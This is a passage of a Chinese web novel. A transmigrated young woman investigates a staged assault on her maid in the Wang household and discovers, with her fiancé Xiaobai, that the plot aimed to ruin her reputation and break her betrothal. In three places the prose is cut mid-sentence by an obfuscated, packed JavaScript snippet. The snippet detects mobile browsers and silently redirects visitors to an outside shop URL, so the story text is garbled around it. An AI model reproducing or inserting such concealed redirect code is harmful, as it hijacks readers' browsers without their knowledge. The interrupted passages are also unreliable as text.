京城落水,王宅上下都以为原主幸而被救。 不。 只是因为我突然的穿越,用了原主的身体罢了。 而原主,早就淹死在河里了。 那令人恐惧的窒息感,是原主死亡的映射。 “奴婢去通报老夫人,小姐醒了,老夫人一定很高兴!”梨梨抹了一把眼泪站起身来。 “梨梨!”我一把拉住梨梨,猛吞下口水,干涩的喉间一阵刺痛,我嘶哑着开口,“先不要去,不要惊动别人。我问你个事情,你要认真回答我。” 梨梨被我的骇然语气吓得不敢动弹,圆圆的脸上挂满泪珠,只一连串点头。 “原……我在金华的时候,欺负过橙橙吗?” 惊恐转成了厌恶,梨梨睁大了眼:“当然没有!小姐你对我们都可好了!月钱发的多,簪钗赏的勤,王宅下人谁不知道?橙橙喜欢吃桃仁,哪次小姐不专门给她留着?竟然背叛小姐,她真不是个东西!” 梨梨怒骂着,我却捕捉到一个词——“喜欢吃桃仁”。 难怪亡母留下的梳子刻着桃仁,原来是专为女儿制作的。可橙橙却当了。 “梨梨,我在金华那些日子,你们俩一直陪着我吗?” “是呀!” “那我可有和外男接触的机会?” 梨梨连连摇手:“没有没有,怎么会!” 我心里已经有了猜测,追问道:“真的吗?家里没给我请过教书先生?” 梨梨一怔:“额,那倒是有啦……” “一位年轻的?橙橙还与他有过往来?” “啊?往来?那能有什么往来啊。先生换过那么多,老学究也有,年轻秀才也有,小姐你……”梨梨小心的觑着我,斟酌着说辞,“你不是坐不住么……” 果然,与我猜想的差不多。 老建头说肖排场曾被请去教书后我就在想,或许这就是久在内宅的橙橙能与他相好的机会。 从老爹、二公子对我阅信、看书并不惊讶来看,原主也是通文墨的。这就说明王宅教育女儿家,也注重读书识字、诗书礼仪的培养。这年头女孩子无法上学堂,就只能请来教书先生。 原主个性飞扬,活泼调皮,从小五小六身上就能窥探一二。在金华的八年,她能坐下来好好学习吗?顶撞先生、逃学闹课,想来都不稀奇。 那当有功名、有名气的秀才学究,都被气走后,王宅不得不降低标准,请来秀才名儿都没考下的肖排场,也就顺理成章了。但从祖母对肖排场的陌生来看,他也没在王宅待几天。 可橙橙却和他有了默契。 “哦,小姐,你要这么说……那橙橙的确有机会外出。因为玩闹时,小姐常打碎屋中瓶盏,老夫人怕您受伤多次嘱咐小心些。时间长了,有时候小姐不想让老夫人担忧,就会让橙橙出门买个差不多的回来。”梨梨又道。 原来如此,怪不得一对小情侣能相会了。 “那我们临上京前,橙橙可有何异常?” 梨梨茫然的看着我,瞳孔从聚焦变为分散,复又聚焦。“异常……没有什么啊,她就是有点犹豫,舍不得离开金华……哦,小姐,有件事奴婢不知道算不算异常。” “什么事?” “临上京前,橙橙来看奴婢,奴婢正病的糊里糊涂的,不知怎得,总觉得她脸上有指印。可奴婢问她,她也不说,走的时候,还说了句对不起。” 对不起? 这是橙橙心中有愧啊。 但她还是做了,在幕后黑手的授意下,害了与她一起长大的主子。而现在,那幕后黑手,也又一次下手。 之前我还担心自己回来后会不会遭遇危险,没想到,一语成谶。 我转向垂柳,看到她的脸颊肿起,心疼的摸了摸,惹得垂柳更是大哭起来。 “小姐,都怪我!是我不对!我怎么就没取肥珠子!要是没有我的贪心,没有拿那盒茉莉膏,咱们俩就能一直在一起,歹人绝不敢闯入,也就不会……呜呜呜……” 我握住她的手,先安抚道:“不,不是你的错,歹人有意袭击,避得过一时,也避不过一世。何况,你昨天受难,完全是被我牵连……除了脸上,还有哪里受伤了?” 垂柳连连摇头,揪着自己的衣领,哭的上气不接下气。 心口弥漫出阵阵后怕。 昨天我冲进屋子,和歹人面对面,看清了他的容貌,他竟都没有逃跑。瞬间的愣神后,他就又朝垂柳逼去,还想行凶。 这是什么样坚持的歹意啊! 如果我回来的晚,或是立马外逃去叫人,歹人是不是已经杀了垂柳? 而歹人,不止一次说“你才是小姐?”,更有“差点办错人”“管它是不是命令”的说辞。他分明就是来祸害我的。 只是他与指使者都没有料到,先洗澡的不是主子,去取东西的才是主子。 我摸了摸自己脖子,想到他升腾的杀意,直冒冷汗。 “垂柳,昨天到底是怎么回事,你能说说吗?为什么,为什么还有蛇?歹人又是什么时候进屋的?” 垂柳忆起可怖,用袖子擦着怎么也擦不完的眼泪,断断续续的讲述起来。 原来昨日我出门后,垂柳便开始脱衣服,准备进浴桶。好在这时候,她想起垂云的话,担心炭火不够,洗着洗着着凉,便先去卧房,给炭盆加了两块炭。 回到浴桶边,她又感到丝丝凉风。 “我一回头,就见窗户正开着一条小缝,呼呼吹着冷风。我赶紧就去关窗户。就在这时,”垂柳打了个冷战,脸色都白了,“我听到细微的响动伴随着‘窸窸’‘窣窣’,声响极小。低头一看,竟然有条蛇爬了进来!我吓得差点魂飞魄散,跌跌撞撞就往外跑!” 可她连屏风都没转出,就被突如其来的歹人堵在屋内。 “我吓傻了,好像我连叫声都没有发出……他忽然就伸出手,不由分说扯向我的衣服……外衣我已经脱掉……” 垂柳说不下去,趴在垂云肩头痛哭起来。 垂云亦红着眼圈,深切自责:“怪我,怪我!领了炭就往回走么,小厮说没有少炭,就当他大意了不承认便罢,为何要和他争论!白白耽搁时间,险些害了小姐和你!天哪,怎么会发生这种事!” 是啊,堂堂王宅内宅,怎么会冒出来个陌生男子,进屋撕扯小姐衣服?当受到抵死反抗,竟就要杀人? 我强压下上涌的无限畏惧,逼自己调到分析模式,先把脑海中蹦出的疑虑条条分类。见垂柳哭声渐止,也实在顾不得太多,先对她发出了疑问。 “垂柳,你先冷静一下,我需要你回想一件事,很重要!你告诉我,昨天你取了茉莉膏,为什么没有一并取肥珠子?” 这年头女性头发之长,每次肥珠子用量都不小。茉莉膏就算再稀奇再好用,也只有小小一盒。按理说都是洗头的,垂柳应当一并取来,为何没有取肥珠子? “是你一时疏忽,忘了,还是有人故意塞给你茉莉膏,并暗示你,不用取肥珠子了?” 垂柳懵了,眼泪挂在腮边,痴痴道:“没、没有人塞给我啊……昨天我过去的时候不正是晚上吗?一天的施粥结束,几大管事都在和管家汇报事情,忙得不可开交。郑家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209802|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的婆子,就站在一旁候着,我也得等候,这才搭起话来。之后管家过来,就让我先挑一盒……” 她搔搔头,又“哦”了一声,“我想起来了,我挑完之后又来了好几个管事婆子,围着管家说事。我见他们都忙,便想着今日再去拿一趟肥珠子得了,没想到一上午都陪着五小姐六小姐,就把这茬忘了……呜呜呜,还是要怪我贪心,一开始就不该拿茉莉膏!” 不,不能怪垂柳。这稀罕物件,谁见了都会感兴趣。 我回来的这些时日,白日天天与小五小六厮混,垂云垂柳包括梨梨,几乎集体上阵作陪,根本没有去取肥珠子的机会。 而晚上,本就施粥忙碌的管家管事,也唯有那个时段会凑在一起,让别人没有插话之机。 茉莉膏,根本就是安排好的,分散丫鬟的注意力,是不是? 那炭呢,为什么炭筐下会是柴? 松伯管理王宅多年,御下严格,是小厮一时不察还是有意而为?垂云质疑,小厮的不承认,到底是心虚扯谎,还是有意引导她,拖长她返回的时间? 这一环,这每一环,都是故意、设计好的,对不对? 每年冬天最冷的时候,王宅都会在城内城外开多个粥棚惠及穷苦百姓,日期不定,但时间都是五天。 今年,就偏偏于我回来的这几日开启。 于是,外围丫鬟都被临时征调,原本下人繁多的宅邸,突然就空空如也。原本一声吼引来八方围观,这几日,也叫天不应了。 我从京城带来的护卫,幕后黑手摸不清深浅。可只要我住在王宅,这些男子便无法近身保护,他们被迫住在王宅附近的客栈,隔断了与我之间的联系。 谢宁轩又去办事。他南下本就有任务,离开也是难免的。幕后黑手无法操纵这层级的大事,却抓住了他也不在王宅客院居住的契机。 天时地利有了,不是吗? 现在障碍,仅剩我身边的丫鬟了。 于是,幕后黑手也对她们一一采取措施,调虎离山。就是为了让我孤孤坐在浴桶中——假如今日先洗澡的是我——遇袭,甚至遇害,对吗? 茉莉膏不是意外出现,它就是用来引起我丫鬟兴趣的。而下方被冻住,偏偏又只能在洗澡时才察觉,丫鬟自然会出门再去取肥珠子。 而半筐炭,又能调走一个丫鬟。 但我身边,还该有一个丫鬟啊——“梨梨,你怎么这么快就回来了?你娘还好吗?” 梨梨圆脸都哭肿了,闻言还是露出憨憨的笑:“娘不过是得了风寒,哪有嫂子说的那么厉害。奴婢心里惦记着小姐,就先回来了。” 是了,用娘生病的理由调走梨梨。 还是一样的路数,还是从近身丫鬟下手。偏生此时外围丫鬟人手不够,真是好时机。 这是同一双黑手,我知道。 这闯进来的歹人,或许只是plan B。 因着垂柳没有被蛇无声无息咬死,他才启动,直接进屋行凶。 在王宅里公然动手,太冒险了,无论是否得手,这人难以逃脱。幕后黑手居然有死士为他卖命……后脊梁都僵了,我越发明白此时的处境有多艰难。 我必须尽快抓到幕后黑手,哪怕只是发现些线索也好。 可是,歹人已经被处死。这种情况下为了保全小姐与王宅声誉,处理必须又狠又快,祖母当机立断处死,合情合理。 那我还能从哪入手? 我回来不过数天,此局却以运炭小厮、送茉莉膏的婆子、歹人环环相扣,安排得益。恐怕背后还有不少暗中盯梢之人。 可王宅到底有谁能有此手腕与地位? 茉莉膏是三婶娘家差人送来的,难道这些是都是老四和三婶的谋划?从动机上讲,她二人确实有嫌疑。除此外,还有其他可能吗? 头疼欲裂,身体四处也都疼痛着。但我无暇休息,只思索着、思索着,复盘着发生的每一处细节,直到渐渐意识到一处蹊跷。 “梨梨,你刚才说,你嫂子形容你娘病得很重。那她是否还让你多住几天?” “咦?小姐怎么知道?嫂子是有点怪,非说娘伤风也得奴婢细致照顾。奴婢走的时候她还很不高兴,真是奇怪。” 我心里一咯噔,知道自己没猜错。梨梨的嫂子,恐怕是个关键人物。 124.温柔 我苏醒的消息传出,先后来了几波慰问团。 祖母自不必说,担忧、心疼,对于她的高龄来说,我很怕她吃不消。好在小白陪在左右,又是耍宝又是逗趣,才令祖母稍稍心安。 其他的长辈也都过来了,这还是我回来后第一次见两位姨娘。 二姐生母杜氏出身良户,孀居多年,人有些老态,穿着亦是素雅。因着父亲就是酒楼掌勺的,她平日也爱捣鼓药膳,颇得祖母青眼。 三叔爱妾秦桃就不一样了,风华正茂,虽只带三五钗环,却掩盖不住娇媚的容颜。因着常去红觉寺求签拜佛,身上还带着一种飘飘然的仙气。 听说她是三叔从烟花场子里赎身的,进门时就被祖母嫌弃。不过她极善女红,入了门又本分,勤勤恳恳为王宅主子们织衣缝衫,加之信佛,对了祖母胃口,这才渐渐改变了自己的处境。 祖母在场,两位姨娘也只是略表心意便告退了。倒是三婶,作为当家主母却使得家中出现这种丑闻,门户不严,歹人都能直接闯入内宅,真是丢尽了王家的脸。 在棠阁陪坐的时间里,祖母就没给她过半个好脸。 小白看着她们离去,也忍不住调侃:“看见她颤巍巍的腿了吗?老太太罚你三婶在家祠跪了三个时辰。啧啧,昨天老太太那冲天怒火,怕是我祖母都没见过。” 三婶,真的只因三婶管理不严,才使歹人寻机潜入吗? “你怎么样,好些了吗?” 手腕隐隐作痛,我还是硬撑着坐直身子行了个礼:“多谢你昨天救命之恩。” 小白坐下,不在意的扬扬手:“你还是感谢老天爷吧,昨儿要不是我刚好走到棠阁门口,估计都听不见动静。再晚来一点,你怕是危险了。” 我摸着自己的脖子,心有余悸。 “是啊,估计凶手也想不到,你怎么会突然出现在我们家。” 小白挑眉:“我出现?那不是很正常么,你可是我未过门的娘子呀。” 我扫了他一眼,懒得搭理。条件反射去摸怀中的粉镯,却发现空空如也。 我霎时想起反抗时无意识的动作,好像扔出了梳妆台上全部首饰。昨天去祖母房中试衣服前,我可是专门将粉镯拿下来的…… 天哪,我把谢宁轩亡母遗物扔了? 我吓傻了,猛地坐起身,手腕按到桌沿,一阵疼痛。我也顾不得,就要冲下去找我的粉镯。 就在这时,小白突然伸出手来,悠悠举着个晶莹剔透的粉镯。 “它还好着!”我双手接过,细细观摩一番,险些喜极而泣,“天哪,我差点以为把它也扔了。” “定情信物呐,这么紧张?”小白又靠回椅子背上,惬意的晃着双腿,“你可感谢它吧,就是它砸烂了歹人的一只眼睛,视线受阻,才没注意到我冲进来,被我轻松击晕。” “就是它?” 妈呀,我还是摸到它后就顺手扔出去了? “可不是么,昨天你昏迷中还在嚷嚷找它。垂云回来后吓得直哭,扑到地上翻出它来,好在是落到了衣服上,没有摔碎,就是沾满了血迹,还有几根睫毛,啧啧。下手真狠啊!” 我听得惊心动魄,依旧深感害怕。 已经七天了,谢宁轩为什么还不回来? 我将粉镯贴到自己的心口,默默祈求着谢宁轩一定要平安,快回来吧,快回来吧! 那厢,小白又将一个小布袋摊开在桌上,自顾自倒了茶,一面说:“呐,昨天你丢了满地的首饰,几乎都摔碎完了,能抢救出来的就剩这几件了,都还给你。哦,其中那个七彩祥云簪子还挺独特,京城买的吗?金华没见过那式样的。” 我瞄了一眼,正是郡主送我的簪子,忙拿起来也检查一番。 小白还在絮叨:“嘿,你这茶味道还不错,是顶级龙井吧?今年产量太少了。我们家也没买到太多,你这还有多余的吗?送我点?” 他是来看望病患还是来吃拿卡要的? 我有些躁,生出了赶客的情绪。但这个时候,我又意识到,或许此人,能帮我一个忙。 遇袭事后,我越加明白,除了祖母,王宅的人,我一个也不能信。但祖母出于保护我的意图绝不允许我出面调查,现在更是配给我超规格的小厮保护团,只怕我走到哪,身后都是条大长尾巴,更不利于行动了。 邓科等人,我可以放心驱使。可于金华,他们这些生面孔,也实在无法避人耳目的私下调查。更有甚者,我现在都怀疑,他们居住在客栈,是否已经遭到幕后黑手的监视? 相较而下,白家在金华地位超然。若是小白出面调查或许能事半功倍,此人又颇豁达…… 我在心中盘算着他可不可信。眼下,似乎也没有旁人能指望了。 我索性试探着问:“小白,你能不能帮我个忙?” “说。” “我以前有个丫鬟叫橙橙,伴我上京的路上私逃了,至今没有下落。您老在这地界有头有脸,帮我查查?” 小白咕嘟咕嘟咽下茶:“那个瘦丫头?” 他大约是拿梨梨对比,我点点头。 小白应该是听说过了,也没多问,直接应了:“行啊。背叛主子跑路外逃,在金华也不多见。不过她不是上京路上就跑了吗?还敢回金华?” 此处有她心心念念的情郎,除非她已经身死,否则必会回来。 我刚张口欲答,小白忽然扭头看我:“是不是你出什么馊主意,把人家吓跑了?” 我懵了:“什么馊主意?” 小白嘲笑起来:“你抓泥鳅,忘记带竹笼,叫梨梨用手端着,把梨梨吓哭了,胖脸哭的花猫一样,你忘了?” …… 小白又问:“我听说你祖母配给你的其他下人,在你还没到京城也全丢了?怎么回事?” 我有些迟疑,不知该不该和盘托出。 小白却探身靠近,眼神探究:“怎么,怀疑我?” 这是个聪明人。 我便也直白道:“关系到我的小命,谨慎点也是应该的吧。” 小白笑笑,又端起茶杯,拖着尾音慢慢说:“我们白家你大可放心,咱们两家利益绑定的深,真有决裂的矛盾,也不至于冲着内宅女眷。至于联姻,也没得选,不是我,也会是我的二弟。不是你,也会是你的其他姐妹。所以,除掉你没有意义。” 这话说的难听,却真实。 我放下了戒心,便将天花一事简单提及,先央求他去探祖母口风,取得调查进度,后又问:“橙橙不过是个丫鬟,以前有接触过郎中或者医女吗?我们王家,有谁特别懂这个吗?” 这段经历显然小白也是第一次听说,表情渐渐庄重。 他想了想:“橙橙我印象不深,不如那胖丫头外向活泼,以前你每次带着到处玩,也是胖丫头多。但你要说懂得医理,你们王家,还真有一个人——” 我已经回答了出来:“杜姨娘?” 当我盘清王宅主子各个喜好后,也将目光放在了二姐生母杜姨娘身上,善做药膳,必得懂些医理。 但问题是,据梨梨说,杜姨娘在孀居后大门不出二门不迈,王宅里,也只会每日去祖母院中请安。至于二姐,又不似原主活泼灵动,也不像老四生母就是当家主母,在王宅没有多少宠爱,更提不上人脉与能力。 那么,橙橙与肖排场的隐秘情事,她们母女如何获悉?赌场背景可不是一般人敢碰触的,设局囚禁肖排场要挟橙橙,她们又怎么能利用起赌场? 还有昨日我和垂柳的遇袭,环环扣扣,她们有能力布局吗? 我对此颇为怀疑,此刻便什么也没说,只是再提要求:“对了,还有个事,也得请你帮个忙。” 小白嫌弃的说:“你怎么事那么多?说!” “盯住梨梨的嫂子。” “胖丫头的嫂子怎么着你了?” 我把猜想道出,小白却异常平静,脸色都没变。 我有些诧异:“你怎么没反应?” 小白伸个懒腰:“王宅在金华有头有脸,光天化日竟有人冲进内宅袭击家里小姐?此事必有蹊跷,我早就料到了。行了,你的事我会上心的,我在外面消息还算灵通,查这些不成问题。” “那行。还得打听一下如今金华市面上出现的茉莉膏,是不是都源自我三婶娘家?再去庄子上,查问一下小厮大刘的家人,此人品行如何,近来手头是否突然宽裕。” 我回来不过数日,我和老四接连出事。回头去瞧,大刘劫持,还能是孤零零的巧合事件吗? 我不相信。 小白目光审视,忽然朝我靠过来:“三妹妹几时变得这么聪慧了?” 我心口一滞,倒也没紧张,只淡淡道:“鬼门关走一遭,我若一点不变,你今天还见得到我吗?” 小白挑挑眉,复又戏谑一笑:“这样子可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222764|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好。你呀,还是昨天被救出来的时候招人心疼,楚楚可怜,梨花带雨的!” 我瞪他一眼,没好气道:“昨天我都吓晕了,你还说这话?有点人性吧!” 小白站起身来,摊手笑道:“一恢复生龙活虎,就咄咄逼人起来。你们王家的嫡女呀,都缺点温柔!” 我抄起身后抱枕丢了过去。 小白躲得飞快,站在远处狂笑。 我伸手去拿另一个抱枕,却突然意识到不对,脱口道:“嘿!王家的嫡女都缺点温柔?呦,那意思是王家的庶女,是温柔的喽?” 小白一愣,没想到我突然发问。 “哈!”我逮住他的漏洞,坐直了身子,“你喜欢我二姐!” 纵观王宅,也就二姐和“温柔”二字能挂上钩。 “怪不得我提出不想嫁,你一副无所谓的样子,你压根也不想娶我,对不对!”我指着小白问道。 小白拖过椅子来,复又坐下,懒懒道:“谁说的,我可愿意了。” 我抓起另一个抱枕丢过去。 小白一把抓住,似笑非笑。“你真是奇怪,怎么着,还想听见你未来夫君说不想娶你呀?” 我语调决然:“可拉倒,我不嫁。” “那你也没机会了。裁缝昨日不是上门给你量过尺寸了吗?” 我一怔:“那又怎么样?” 小白挑眉:“衣服做好,也差不多该出嫁了呀。” 什么!不是说给我做冬衣的吗?啊,难道新首饰、新鞋子,都是为了筹备婚礼?难怪祖母让我换了那么多款式! 我靠,迫在眉睫了,我是不是该先搁置查案,先跑路啊! 谢宁轩,你到底在哪,快回来带我走啊! 诶,等一下,这呼唤,蜜汁像是私奔…… 小白饶有兴致的看我脸色变了又变,戏谑地问:“惦记人博士呢?啧啧,你这情郎也不靠谱嘛,怎么迟迟不归?” 被戳中心事,我不爽的环顾一圈,完蛋玩意,没有抱枕可扔了。小白适时递上,露出一副“还扔吗”的表情,太欠揍了。 “你别胡说八道!”我接过抱枕继续朝他扔过去,被他又一次稳稳接住,“我不想嫁,和其他人没有关系,纯粹是我自己的缘故。” “不嫁人……”小白摸摸下巴,“啧啧,你祖母不会允许你出家的。” …… “得了,少往我身上扯!还是交代你的问题吧。说,你是不是喜欢我二姐?” 小白摊摊手,倒也不避讳:“你二姐呀,恐怕是你们王家唯一一个会好好说话的姑娘了。” 这话我就不乐意了。 小白却继续抨击:“你呢,从小就是个顽皮鬼,连带着小五小六也猴精一样,天天上蹿下跳坐不住,半点闺秀的样子都没有。” 他对着我的冷脸做个鬼脸,继续不紧不慢,“你那四妹妹,跟谁说话都是一副傲气的样子,好像谁得罪了她一样。上回倒叫丫头给我递了个帕子,也不知道什么意思,我可不想招惹她。虽然我和你们家的婚约是没得选的,但我也不想娶一只花孔雀。” 这话说的真是一点都不客气。 “她喜欢你,你看不出来吗?” 小白一哂:“喜欢我?喜欢的只是白家少爷这个名头吧!” 他看人倒挺准。 “人家昨天可给我放话了,绝对不让我嫁给你。”我忍不住调笑,“甭管她是看上你还是你的身份,至少人家真心想嫁你嘛。” 小白耸耸肩:“我也是真心的,真心不想娶!” “那你为什么不要求换人,你可以要求换成二姐呀?” 小白将手反握在后脑,翘起二郎腿:“我又不喜欢她,为什么要换人?” “但你喜欢温柔的啊!这样,咱俩合作,想办法取消婚约,或者换成我二姐,你看行吗?”我抓住机会,赶紧出主意。 小白晃起腿来:“没戏。” “为什么呀!”我着急。 晃腿速度不变,小白不疾不徐:“白王联姻一直没成功,你们家老太太心里不安,我呀——你别觉得我说大话——可是她心目中的不二人选,她才舍不得把你换成你二姐呢。再说了,谁说我喜欢温柔的了?我只是觉得像你这样咋咋呼呼的,可当不了一家主母。” “嘿,你……”我颇不忿,正要驳斥,垂柳敲门进来禀报:“小姐,二小姐和表小姐来了。” 125.落脚点 “快请!”我连忙道,同时看向小白,准备送客。 谁知小白端着茶好整以暇的靠到椅背上,竟一点起身的意思都没有。 “你怎么不走?”我奇怪道。 小白耸耸肩:“为什么要走?” 这人真奇怪! 二姐进门时已哭的梨花带雨,泪水将帕子都打湿了。一向英气勃勃的表妹也眼圈通红。两个人看清我到处包扎的纱布,更是大颗泪珠往下滚。 本一番感动的场景,随着小白咕嘟咕嘟灌口茶,氛围径直被打破。 二姐和表妹这才注意到角落椅子上还坐了个人,吓得连连后退,匆匆福了福身。 我偷偷觑小白,想看看他和二姐有没有眼神交流。但他只是靠在椅子上望天,不知道寻思什么。 二姐倒是看着小白,带着柔美的羞涩,声音微颤:“不知道白少爷在,唐突了。那我们先走了,三妹妹,你好好养病,随后我们再来看你。” 表妹嘴角向下,声音嘶哑:“三表姐别怕,下回再有坏人,我替你教训他!” 我连忙挽留:“没事没事,你们俩别走,来来坐坐,别理他。” 二姐和表妹对视一眼,还是齐齐转过身走了。 我看着俩人背影,一阵恼怒。现在线索少,就得通过谈话来获取,好不容易等到她们来,却因为小白赖着不走,人家俩倒是走了! “不会是她们的。”小白像是看穿了我的想法,直接说道。 “为什么?” 小白掰了掰手指,对二姐的评论倒是和我想的一致,说她没有布局能力;至于表妹,他则认为,一年来住不了几个月,听说婚约也定了,对我毫无动机。 “那只有老四了?” 小白露出些鄙夷:“她倒是有这地位,不过,她有这脑子吗?” 我有些气馁:“那还能是谁?还有谁想害死我?” 小白朝我看过来,正色道:“昨天那个局,可不是为了害死你。” “什么意思?” “昨天你昏迷之后,我去帮忙抓蛇,那是条无毒的草蛇。” 无毒? 我心口一震,大脑瞬间涌上万千情绪。 无毒,那放蛇就不是为了咬死我啊! 我出门取肥珠子后,垂柳耽搁,迟迟没有进浴桶。我本以为在外偷窥的歹人是等不及了,才改变计划,直接现身以谋害…… 等等,谋害?不对啊,昨天我初见的那一幕,不是谋害啊! 眼前出现昨天垂柳在歹人掌下无法反抗的惨状,我赫然意识到,歹人双手游走的位置,根本不是致命的脖颈处……他一直在扯垂柳的衣服。 啊,我明白了! 此局并非关系我的性命,一开始,歹人根本没有下死手!他撕扯垂柳的衣服,明显是冲着清白和名声去的。 “老子今天就把你们主仆一起收了!管它是不是命令!” “收了”,到底什么是收了?他图谋的,还是那肮脏事,对不对?所以他没有直接掐我,用碎瓷片捅我,而是一有机会就把我往浴桶里淹,也并非是为了淹死我,只是想让我昏迷好图谋不轨。 撕扯我的衣服,毁了我的清白,这才是幕后黑手的目的。若不是小白刚巧冲进来打晕他,恐怕我们真的危险了。 而他被打晕瘫软倒下的身子,又误打误撞将我封在浴桶中,淹的七荤八素,意外唤醒了这具身体对原主临终前的记忆。 敢在王宅内宅就对小姐下手,这分明就是……诶,对啊,事件是发生在王宅内宅的啊!救我的人,怎么偏偏是小白? 我盯着小白,声音都颤抖了:“你……歹人做这一切,是为了让你知道,甚至,让你看见?” 小白坐姿放松,竟似已对此有所明晰。 “如果我恰好看见你被陌生男子脱衣,你觉得我们白家还能娶你吗?” 是了,昨天的局,落脚点分明在小白身上。 按照计划,在丫鬟出门取肥珠子之后,我就应该进到浴桶,随之被窗边潜入的蛇惊吓。人在恐慌之下无法做出周全的判断,我必然只能随手拉件披风勉强裹住自己,就往屋外逃。 此时,歹人候在一旁,只消将我随便打晕,就可在院中大咧咧脱去我仅有的衣服。小白路过,这轻薄一幕自然就会落入他的眼中。届时我名声受损,白家自然要取消婚事。 可是,歹人没料到,在屋中的人变成了垂柳,且因担心炭火、上午过于劳累等原因,行动缓慢,迟迟没进浴桶,也没发现蛇的存在。 歹人急不可耐,就进屋查看,偏在这一刻,与只脱下外衣往外逃的垂柳相撞。 他没有办法,只得自己动手。垂柳拼死挣扎,恰逢我也回来,这才演绎成昨日历程。 而事件的男主角,经过的时候,只听见打斗与尖叫,自然会来营救,反而把故事变成了英雄救美的主题。从祖母带他亲来看望,二姐和表妹对他坐在我屋内都不惊讶来看,这桩婚事,更是已坐实。 只怕设局的人要气死了。 除了想通的震撼,我更对小白的洞悉而感到惊异。“你早就发现了这些?” 小白也没隐瞒,直言道:“我也是看见草蛇,才有了猜想的。但三妹妹,我想不通,昨天如果歹人得手了,你的名声受损,你们王家脸面也得丢尽,毕竟这发生在你们内宅啊!你今天所说所怀疑,都指向幕后黑手就是王家人。可是,此人为什么要对自家不利?” 小白一针见血。 从昨日遇袭来看,幕后黑手针对的已不止是原主的性命。 那么,王宅现有的主子,都不可能有此动机,毕竟未出阁的姑娘尚多,王宅一旦脸面受损,女儿出嫁都面临困境,谁会舍得牵连自己女儿? 念及此处,我忽然意识到方才疏忽的一点。 “等一下,刚才说,你才是昨天设局的关键,你来看我受辱,是幕后黑手的目的。可是,为什么那个时点,你就刚刚好出现?” 小白皱眉:“前天晚上我不是又来陪你家老太太吃饭吗?出府的时候听到有丫鬟说老太太近日精神不济,我想到我家还有几支千年人参,昨个晌午便送来了。” 精神不济?不,不对,祖母近日人逢喜事精神爽,并无不适。 “哪个丫鬟,你认识吗?这明显是故意说给你听的啊。” 小白眼睛一跳,露出一丝不可思议。 “怎么了?你发现什么了?” 不过一瞬,他又恢复了那副不羁的模样,伸了个懒腰。“行了,这件事我放在心上了,会去调查的。至于婚约,你还是老老实实的待嫁吧。” “喂,你倒是先说啊,你发现了什么?” 小白并不回答,却朝我俯身靠过来,眨眨眼,带着些戏谑:“其实我蛮不错的,嫁给我,你不吃亏。” “别扯犊子!你发现什么了,快说啊!喂喂,别走啊,发现什么了!” *** 接下来的两天,百无聊赖。 祖母看的紧,棠阁里外多重守护,根本没有出去调查的机会。小白一直没来,几条线索都没有下文。 谢宁轩也迟迟未归,我找来邓科询问,只说跟着同去的几名护卫队队员也没回来。 到底怎么回事,他不会,不会遭遇危险了吧? 我惴惴不安。 这期间,垂云倒是向松伯打听得知,负责送炭的小厮在府里供职多年,勤勤恳恳,从未出错。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233356|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到她半真半假抱怨少炭时,松伯亲自去看,却发现炭量足够,并无缺少。 幕后黑手在那日之后就恢复了炭量,那我还有什么证据指证小厮少炭呢? 而梨梨又一次去详细翻找了橙橙的房间,但很可惜,并没有发现旁的端倪。 好在,垂柳伤势不重,小衣也没有被扯下,经过两三日的静养,总算缓了过来,晚上睡觉不会再做噩梦了。 是日,我正愁眉不展,小五小六又过来玩。小五还是小孩子心性,小六已经知道关心人了,哭哭啼啼口齿不清,问我衣服丢了没,又问纱布什么时候能撤。 二姐来的时候,正好看到小五小六撕扯着纱布玩,吓得连声阻止:“快放开!三妹妹伤处还没好!” 小五不高兴的撒开手,噘噘嘴,盯着二姐埋怨:“二姐,你这又来送什么呀?枕巾?怎么老给三姐送,不给我们送?” 二姐这次带来的是精美的蝴蝶枕巾,她抿嘴一笑:“你们两个睡觉,枕头都掉地了,还需要枕巾哪?” 小六擦干眼泪,追着要:“放着好看也行啊!而且你昨天送的手巾,前天送的荷包,大前天送的团扇!都没我们的!” “姨娘手艺上佳,你们俩哪需要我的织品?瞧瞧身上哪件,不比我绣的好?”二姐嗔道,“连我小娘都喜欢用姨娘送的帕子,每次送药膳去都讨要几条。我这点小技哪敢班门弄斧呀。” 我瞅一眼小五小六的衣衫,确实绣工精美,不过裙子下摆已经烂了,衣角还沾着泥。 忍不住哈哈大笑:“你们俩还要手巾?荷包?团扇?天天挖泥巴,爬山爬树的,衣服件件没穿两天就挂破了,还需要那些东西?” 二姐用帕子捂住嘴,笑的眼睛都弯了。 小五小六对视一眼,朝我齐齐扑过来,挠我的痒痒肉。 